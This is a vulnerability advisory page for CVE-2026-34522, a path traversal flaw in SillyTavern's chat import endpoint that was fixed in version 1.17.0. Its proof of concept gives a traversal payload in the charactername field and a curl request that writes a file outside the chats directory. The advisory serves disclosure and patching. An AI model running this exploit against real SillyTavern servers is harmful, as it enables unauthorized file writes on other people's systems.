CVE-2026-34522: SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

Published Apr 1, 2026
·
Updated

Summary A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into charactername.

Details charactername is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.

Evidence: - Import handler entrypoint: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686> - Unsanitized charactername used in output filename: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723> - Same write pattern in JSONL import branch: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>

Example payload: - charactername=../../../../tmp/stpoc

This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).

PoC Prerequisites: - Valid authenticated session cookie (cookie.txt) - Valid CSRF token ($TOKEN)

Prepare payload:

bash printf '{"username":"u","chatmetadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl

Trigger arbitrary write:

bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" \ -F "avatar=@/tmp/poc.jsonl" \ -F "filetype=jsonl" \ -F "avatarurl=a.png" \ -F "charactername=../../../../tmp/stpoc" \ -F "username=u" \ http://TARGET:8000/api/chats/import

Observed result: - A file is created outside chats directory, for example: /tmp/stpoc - <timestamp> imported.jsonl

Impact - Integrity: attacker can create files in unintended filesystem locations. - Availability: can be used for disk abuse and disruptive file placement. - Can become more severe when chained with other local processing behaviors.

Resolution

The issue was addressed in version 1.17.0

Other sources

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into charactername. This issue has been patched in version 1.17.0.

— MITRE

Affected Software

2 affected componentsFixes available
npm/sillytavern<=1.16.0
1.17.0
SillyTavern Sillytavern Node.js<1.17.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/sillytavern to a version that resolves this vulnerability.

    Fixed in 1.17.0
  2. Upgrade

    Upgrade SillyTavern to a version that resolves this vulnerability.

    Fixed in 1.17.0

Event History

Apr 1, 2026
Advisory Published
via GitHub·09:36 PM
Data Sourced
via GitHub·09:36 PM
DescriptionSeverityWeaknessAffected Software
Apr 2, 2026
CVE Published
via MITRE·05:13 PM
Data Sourced
via MITRE·05:13 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203